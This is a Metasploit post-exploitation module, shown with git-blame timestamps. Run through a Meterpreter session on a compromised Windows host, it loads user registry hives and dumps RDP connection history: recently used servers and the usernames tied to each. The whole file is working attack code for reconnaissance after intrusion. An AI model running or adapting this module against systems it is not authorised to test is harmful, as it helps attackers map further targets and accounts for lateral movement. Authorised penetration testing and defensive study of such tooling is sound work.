2011-11-04 18:47:22 +00:00
|
|
|
# post/windows/gather/enum_termserv.rb
|
|
|
|
|
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-11-04 18:47:22 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
2012-10-23 18:24:05 +00:00
|
|
|
require 'msf/core/auxiliary/report'
|
2011-11-04 18:47:22 +00:00
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Post::Windows::Registry
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Post::Windows::UserProfiles
|
2011-11-04 18:47:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Windows Gather Terminal Server Client Connection Information Dumper',
|
|
|
|
'Description' => %q{
|
|
|
|
This module dumps MRU and connection data for RDP sessions
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'mubix' ],
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
|
|
|
end
|
2011-11-04 18:47:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
userhives = load_missing_hives()
|
|
|
|
userhives.each do |hive|
|
|
|
|
next if hive['HKU'] == nil
|
|
|
|
print_status("Doing enumeration for #{hive['SID']}")
|
|
|
|
root_key, base_key = session.sys.registry.splitkey("#{hive['HKU']}\\Software\\Microsoft\\Terminal\ Server\ Client")
|
|
|
|
begin
|
|
|
|
tmpkey = session.sys.registry.open_key(root_key, base_key, KEY_READ)
|
|
|
|
tmpkey_values = tmpkey.enum_key
|
|
|
|
if tmpkey_values.include?('Default')
|
|
|
|
defaultkey = session.sys.registry.open_key(root_key, base_key + '\\Default', KEY_READ)
|
|
|
|
print_good('Systems connected to:')
|
|
|
|
(defaultkey.enum_value).each do |x|
|
|
|
|
if x.name =~ /^MRU/
|
|
|
|
print_good("--> #{defaultkey.query_value(x.name).data}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2011-11-04 18:47:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if tmpkey_values.include?('Servers')
|
|
|
|
serverskey = session.sys.registry.open_key(root_key, base_key + '\\Servers', KEY_READ)
|
|
|
|
serverskey_keys = serverskey.enum_key
|
|
|
|
print_good('Server list and user hints:')
|
|
|
|
serverskey_keys.each do |hostval|
|
|
|
|
hostvalkey = session.sys.registry.open_key(root_key, base_key + '\\Servers\\' + hostval, KEY_READ)
|
|
|
|
print_good("#{hostval} is connected to as #{hostvalkey.query_value('UsernameHint').data}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
|
|
end
|
|
|
|
end
|
|
|
|
unload_our_hives(userhives)
|
|
|
|
end
|
2011-11-04 18:47:22 +00:00
|
|
|
end
|